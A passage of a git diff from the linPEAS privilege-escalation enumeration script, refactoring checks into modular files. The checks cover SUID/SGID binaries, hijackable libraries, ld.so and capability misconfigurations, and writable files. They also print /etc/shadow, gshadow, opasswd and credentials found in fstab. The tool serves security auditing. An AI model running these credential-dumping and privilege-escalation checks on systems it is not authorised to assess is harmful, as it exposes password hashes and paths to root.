sline_first="$(echo "$sline" | cut -d ' ' -f1)" - if echo "$sline_first" | grep -qEv "$cfuncs"; then - if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then # If a path - if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then # And modifiable - printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n" - fi - else #If not a path - if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then # Check if existing binary - printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n" - fi - fi - fi - done - fi - - if [ "$LDD" ] || [ "$READELF" ]; then - echo "$ITALIC --- Checking for writable dependencies of $sname...$NC" - fi - if [ "$LDD" ]; then - "$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" - fi - if [ "$READELF" ]; then - "$READELF" -d "$sname" | grep PATH | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" - fi - - if [ "$TIMEOUT" ] && [ "$STRACE" ] && ! [ "$NOTEXPORT" ] && [ -x "$sname" ]; then - printf $ITALIC - echo "----------------------------------------------------------------------------------------" - echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..." - OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH - export LD_LIBRARY_PATH="" - timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g" - printf $NC - export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH - echo "----------------------------------------------------------------------------------------" - echo "" - fi - - fi - fi - fi - fi -done; -echo "" - - -##-- IPF) SGID -print_2title "SGID" -print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid" -sgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path "/dev/*" 2>/dev/null) -for s in $sgids_files; do - s=$(ls -lahtr "$s") - # If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder - if echo "$s" | grep -qE "^total";then break; fi - - sname="$(echo $s | awk '{print $9}')" - if [ "$sname" = "." ] || [ "$sname" = ".." ]; then - true #Don't do nothing - elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then - echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED}," - elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then # If write permision, win found (no check exploits) - echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW}," - else - c="a" - for b in $sidB; do - if echo "$s" | grep -q $(echo $b | cut -d % -f 1); then - echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m," - c="" - break; - fi - done; - if [ "$c" ]; then - if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then - echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW}," - else - echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED}," - printf $ITALIC - if ! [ "$FAST" ]; then - - if [ "$STRINGS" ]; then - $STRINGS "$sname" | sort | uniq | while read sline; do - sline_first="$(echo $sline | cut -d ' ' -f1)" - if echo "$sline_first" | grep -qEv "$cfuncs"; then - if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then # If a path - if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then # And modifiable - printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n" - fi - else # If not a path - if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then # Check if existing binary - printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n" - fi - fi - fi - done - fi - - if [ "$LDD" ] || [ "$READELF" ]; then - echo "$ITALIC --- Checking for writable dependencies of $sname...$NC" - fi - if [ "$LDD" ]; then - "$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" - fi - if [ "$READELF" ]; then - "$READELF" -d "$sname" | grep PATH | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" - fi - - if [ "$TIMEOUT" ] && [ "$STRACE" ] && [ ! "$SUPERFAST" ]; then - printf "$ITALIC" - echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..." - timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g" - printf "$NC" - echo "" - fi - - fi - fi - fi - fi -done; -echo "" - -##-- IPF) Misconfigured ld.so -if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then - print_2title "Checking misconfigurations of ld.so" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld.so" - if [ -f "/etc/ld.so.conf" ] && [ -w "/etc/ld.so.conf" ]; then - echo "You have write privileges over /etc/ld.so.conf" | sed -${E} "s,.*,${SED_RED_YELLOW},"; - printf $RED$ITALIC"/etc/ld.so.conf\n"$NC; - else - printf $GREEN$ITALIC"/etc/ld.so.conf\n"$NC; - fi - - echo "Content of /etc/ld.so.conf:" - cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" - - # Check each configured folder - cat /etc/ld.so.conf 2>/dev/null | while read l; do - if echo "$l" | grep -q include; then - ini_path=$(echo "$l" | cut -d " " -f 2) - fpath=$(dirname "$ini_path") - - if [ -d "/etc/ld.so.conf" ] && [ -w "$fpath" ]; then - echo "You have write privileges over $fpath" | sed -${E} "s,.*,${SED_RED_YELLOW},"; - printf $RED_YELLOW$ITALIC"$fpath\n"$NC; - else - printf $GREEN$ITALIC"$fpath\n"$NC; - fi - - if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then - echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"; - fi - - for f in $fpath/*; do - if [ -w "$f" ]; then - echo "You have write privileges over $f" | sed -${E} "s,.*,${SED_RED_YELLOW},"; - printf $RED_YELLOW$ITALIC"$f\n"$NC; - else - printf $GREEN$ITALIC" $f\n"$NC; - fi - - cat "$f" | grep -v "^#" | while read l2; do - if [ -f "$l2" ] && [ -w "$l2" ]; then - echo "You have write privileges over $l2" | sed -${E} "s,.*,${SED_RED_YELLOW},"; - printf $RED_YELLOW$ITALIC" - $l2\n"$NC; - else - echo $ITALIC" - $l2"$NC | sed -${E} "s,$l2,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"; - fi - done - done - fi - done - echo "" - - - if [ -f "/etc/ld.so.preload" ] && [ -w "/etc/ld.so.preload" ]; then - echo "You have write privileges over /etc/ld.so.preload" | sed -${E} "s,.*,${SED_RED_YELLOW},"; - else - printf $ITALIC$GREEN"/etc/ld.so.preload\n"$NC; - fi - cat /etc/ld.so.preload 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" - cat /etc/ld.so.preload 2>/dev/null | while read l; do - if [ -f "$l" ] && [ -w "$l" ]; then echo "You have write privileges over $l" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi - done - -fi - -##-- IPF) Capabilities -if ! [ "$SEARCH_IN_FOLDER" ]; then - print_2title "Capabilities" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities" - if [ "$(command -v capsh)" ]; then - - print_3title "Current shell capabilities" - cat "/proc/$$/status" | grep Cap | while read -r cap_line; do - cap_name=$(echo "$cap_line" | awk '{print $1}') - cap_value=$(echo "$cap_line" | awk '{print $2}') - if [ "$cap_name" = "CapEff:" ]; then - echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")" - else - echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")" - fi - done - echo "" - - print_3title "Parent process capabilities" - cat "/proc/$PPID/status" | grep Cap | while read -r cap_line; do - cap_name=$(echo "$cap_line" | awk '{print $1}') - cap_value=$(echo "$cap_line" | awk '{print $2}') - if [ "$cap_name" = "CapEff:" ]; then - echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")" - else - echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")" - fi - done - echo "" - - else - print_3title "Current shell capabilities" - (cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status" - echo "" - - print_3title "Parent proc capabilities" - (cat "/proc/$PPID/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$PPID/status" - echo "" - fi - echo "" - echo "Files with capabilities (limited to 50):" - getcap -r / 2>/dev/null | head -n 50 | while read cb; do - capsVB_vuln="" - - for capVB in $capsVB; do - capname="$(echo $capVB | cut -d ':' -f 1)" - capbins="$(echo $capVB | cut -d ':' -f 2)" - if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then - echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW}," - capsVB_vuln="1" - break - fi - done - - if ! [ "$capsVB_vuln" ]; then - echo "$cb" | sed -${E} "s,$capsB,${SED_RED}," - fi - - if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then - echo "$cb is writable" | sed -${E} "s,.*,${SED_RED}," - fi - done - echo "" -fi - -##-- IPF) Users with capabilities -if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then - print_2title "Users with capabilities" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities" - if [ -f "/etc/security/capability.conf" ]; then - grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," - else echo_not_found "/etc/security/capability.conf" - fi - echo "" -fi - -##-- IPF) AppArmor profiles to prevent suid/capabilities abuse -if ! [ "$SEARCH_IN_FOLDER" ]; then - if [ -d "/etc/apparmor.d/" ] && [ -r "/etc/apparmor.d/" ]; then - print_2title "AppArmor binary profiles" - ls -l /etc/apparmor.d/ 2>/dev/null | grep -E "^-" | grep "\." - echo "" - fi -fi - -##-- IPF) Files with ACLs -print_2title "Files with ACLs (limited to 50)" -print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls" -if ! [ "$SEARCH_IN_FOLDER" ]; then - ( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," -else - ( (getfacl -t -s -R -p $SEARCH_IN_FOLDER 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," -fi - -if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow) - ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," -fi -echo "" - -##-- IPF) Files with ResourceFork -#if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then # TOO SLOW, CHECK IT LATER -# print_2title "Files with ResourceFork" -# print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#resource-forks-or-macos-ads" -# find $HOMESEARCH -type f -exec ls -ld {} \; 2>/dev/null | grep -E ' [x\-]@ ' | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork" -#fi -#echo "" - -##-- IPF) Files (scripts) in /etc/profile.d/ -if ! [ "$SEARCH_IN_FOLDER" ]; then - print_2title "Files (scripts) in /etc/profile.d/" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files" - if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS - (ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/" - check_critial_root_path "/etc/profile" - check_critial_root_path "/etc/profile.d/" - fi - echo "" -fi - - ##-- IPF) Files (scripts) in /etc/init.d/ - if ! [ "$SEARCH_IN_FOLDER" ]; then -print_2title "Permissions in init, init.d, systemd, and rc.d" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d" - if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS - check_critial_root_path "/etc/init/" - check_critial_root_path "/etc/init.d/" - check_critial_root_path "/etc/rc.d/init.d" - check_critial_root_path "/usr/local/etc/rc.d" - check_critial_root_path "/etc/rc.d" - check_critial_root_path "/etc/systemd/" - check_critial_root_path "/lib/systemd/" - fi - - echo "" -fi - - - -##-- IPF) Hashes in passwd file -if ! [ "$SEARCH_IN_FOLDER" ]; then - print_list "Hashes inside passwd file? ........... " - if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED}," - else echo_no - fi - - ##-- IPF) Writable in passwd file - print_list "Writable passwd file? ................ " - if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," - elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," - elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," - else echo_no - fi - - ##-- IPF) Credentials in fstab - print_list "Credentials in fstab/mtab? ........... " - if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED}," - else echo_no - fi - - ##-- IPF) Read shadow files - print_list "Can I read shadow files? ............. " - if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED}," - else echo_no - fi - - print_list "Can I read shadow plists? ............ " - possible_check="" - (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no - - print_list "Can I write shadow plists? ........... " - possible_check="" - (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no - - ##-- IPF) Read opasswd file - print_list "Can I read opasswd file? ............. " - if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo "" - else echo_no - fi - - ##-- IPF) network-scripts - print_list "Can I write in network-scripts? ...... " - if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW}," - elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW}," - else echo_no - fi - - ##-- IPF) Read root dir - print_list "Can I read root folder? .............. " - (ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no - echo "" -fi - -##-- IPF) Root files in home dirs -if ! [ "$SEARCH_IN_FOLDER" ]; then - print_2title "Searching root files in home dirs (limit 30)" - (find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found - echo "" -fi - -##-- IPF) Others files in my dirs -if ! [ "$IAMROOT" ]; then - print_2title "Searching folders owned by me containing others files on it (limit 100)" - (find $ROOT_FOLDER -type d -user "$USER" ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec ls -l {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g" - echo "" -fi - -##-- IPF) Readable files belonging to root and not world readable -if ! [ "$IAMROOT" ]; then - print_2title "Readable files belonging to root and readable by me but not world readable" - (find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found - echo "" -fi - -##-- IPF) Interesting writable files by ownership or all -if ! [ "$IAMROOT" ]; then - print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files" - # In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all - obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500) - printf "%s\n" "$obmowbe" | while read entry; do - if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC; - elif echo "$entry" | grep -qE "$writeVB"; then - echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW}," - else - echo "$entry" | sed -${E} "s,$writeB,${SED_RED}," - fi - done - echo "" -fi - -##-- IPF) Interesting writable files by group -if ! [ "$IAMROOT" ]; then - print_2title "Interesting GROUP writable files (not in Home) (max 500)" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files" - for g in $(groups); do - iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500) - if [ "$iwfbg" ] || [ "$DEBUG" ]; then - printf " Group $GREEN$g:\n$NC"; - printf "%s\n" "$iwfbg" | while read entry; do - if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC; - elif echo "$entry" | grep -Eq "$writeVB"; then - echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW}," - else - echo "$entry" | sed -${E} "s,$writeB,${SED_RED}," - fi - done - fi - done - echo "" -fi diff --git a/linPEAS/builder/linpeas_parts/8_interesting_perms_files/10_Read_creds_files.sh b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/10_Read_creds_files.sh new file mode 100644 index 0000000..e20ab68 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/10_Read_creds_files.sh @@ -0,0 +1,68 @@ +# Title: Interesting Permissions Files - Read creds files +# ID: IP_Read_creds_files +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Hashes in passwd file, shadow files and other files +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_no, print_list +# Global Variables: $IAMROOT, $SEARCH_IN_FOLDER, $USER, $wgroups +# Initial Functions: +# Generated Global Variables: $possible_check +# Fat linpeas: 0 +# Small linpeas: 1 + + +##-- IPF) Hashes in passwd file +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_list "Hashes inside passwd file? ........... " + if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + ##-- IPF) Writable in passwd file + print_list "Writable passwd file? ................ " + if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else echo_no + fi + + ##-- IPF) Credentials in fstab + print_list "Credentials in fstab/mtab? ........... " + if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + ##-- IPF) Read shadow files + print_list "Can I read shadow files? ............. " + if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + print_list "Can I read shadow plists? ............ " + possible_check="" + (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no + + print_list "Can I write shadow plists? ........... " + possible_check="" + (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no + + ##-- IPF) Read opasswd file + print_list "Can I read opasswd file? ............. " + if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo "" + else echo_no + fi + + ##-- IPF) network-scripts + print_list "Can I write in network-scripts? ...... " + if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW}," + elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else echo_no + fi + + ##-- IPF) Read root dir + print_list "Can I read root folder? .............. " + (ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/8_interesting_perms_files/11_Root_files_home_dir.sh b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/11_Root_files_home_dir.sh new file mode 100644 index 0000000..7adb938 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/11_Root_files_home_dir.sh @@ -0,0 +1,20 @@ +# Title: Interesting Permissions Files - Root files in home dirs +# ID: IP_Root_files_home_dir +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Searching root files in home dirs +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title +# Global Variables: $HOMESEARCH, $SEARCH_IN_FOLDER, $sh_usrs, $USER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Searching root files in home dirs (limit 30)" + (find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/8_interesting_perms_files/12_Others_files_in_my_dirs.sh b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/12_Others_files_in_my_dirs.sh new file mode 100644 index 0000000..8f14aca --- /dev/null +++ b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/12_Others_files_in_my_dirs.sh @@ -0,0 +1,20 @@ +# Title: Interesting Permissions Files - Others files in my dirs +# ID: IP_Others_files_in_my_dirs +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Searching folders owned by me containing others files on it +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $IAMROOT, $knw_usrs, $nosh_usrs, $ROOT_FOLDER, $sh_usrs ,$USER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$IAMROOT" ]; then + print_2title "Searching folders owned by me containing others files on it (limit 100)" + (find $ROOT_FOLDER -type d -user "$USER" ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec ls -l {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g" + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/8_interesting_perms_files/13_Root_readable_files_notworld_readeble.sh b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/13_Root_readable_files_notworld_readeble.sh new file mode 100644 index 0000000..434d634 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/13_Root_readable_files_notworld_readeble.sh @@ -0,0 +1,20 @@ +# Title: Interesting Permissions Files - Root readable files not world readable +# ID: IP_Root_readable_files_notworld_readeble +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Readable files belonging to root and readable by me but not world readable +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title +# Global Variables: $IAMROOT, $ROOT_FOLDER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$IAMROOT" ]; then + print_2title "Readable files belonging to root and readable by me but not world readable" + (find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found + echo "" +fi diff --git 